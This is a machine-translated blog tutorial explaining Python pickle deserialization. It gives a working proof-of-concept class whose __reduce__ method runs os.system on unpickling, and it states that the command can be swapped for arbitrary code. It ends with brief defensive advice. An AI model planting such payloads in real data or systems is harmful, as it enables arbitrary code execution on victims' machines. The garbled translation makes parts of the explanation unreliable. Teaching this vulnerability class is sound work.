python deserialization vulnerability to arbitrary code execution

The blog post I introduced the serialization python strings, tuples, lists and dictionaries

Details see:
string sequence of the python, a list, a sequence of the dictionary, the class explained

I will introduce this blog python反序列化漏洞 任意代码执行

So how deserializing arbitrary code to run it?

First to talk about __reduce__the magic methods,
this method should be used to indicate how the object class of the sequence,
when it returns tuple type can implement any code execution

for example:

import pickle
import os

class Student(object):
    name = 'yuaneuro'
    age = '20'
    def __reduce__(self):
        cmd = "dir"
        return os.system, (cmd,)

y = pickle.dumps(Student())
print(y)
pickle.loads(y)

The result:
Here Insert Picture Description
We see that when the implementation of deserialization operations executed our dircommand

We will result serialized out analysis:

b'\x80\x03cnt\nsystem\nq\x00X\x03\x00\x00\x00dirq\x01\x85q\x02Rq\x03.'

Explanation:

Using \ 03 the coperator introduced ntmodule systemfunction ntmodule is a osmodule windowsembodied on the
q\x00identification systemfunction memoindex area
X\x03\x00\x00\x00behind identifying dirthe length of the string
q\x01identifies dirthe index of the string in the memo area of
\x85establishing a meta element group, this element is a character string preceding dir
q\x02identifies the tuple in the index area memo
Rfunction operator identification run top of the stack (System), and dir is the tuple contains parameters passed to it as

We can dir command into other operations to achieve the deserialization vulnerability to arbitrary code execution

So how do you defend against such loopholes?

The official also said in the document, pickle module is not safe, do not ever go deserializing untrusted data.

  • You can use a more advanced interface __getnewargs(), __getstate__(), __setstate__()and so instead of __reduce__()magic methods
  • Prior to deserialize, for stringent filtering

End of this article

Published 10 original articles · won praise 14 · views 3709

Guess you like

Origin blog.csdn.net/yuaneuro/article/details/104732477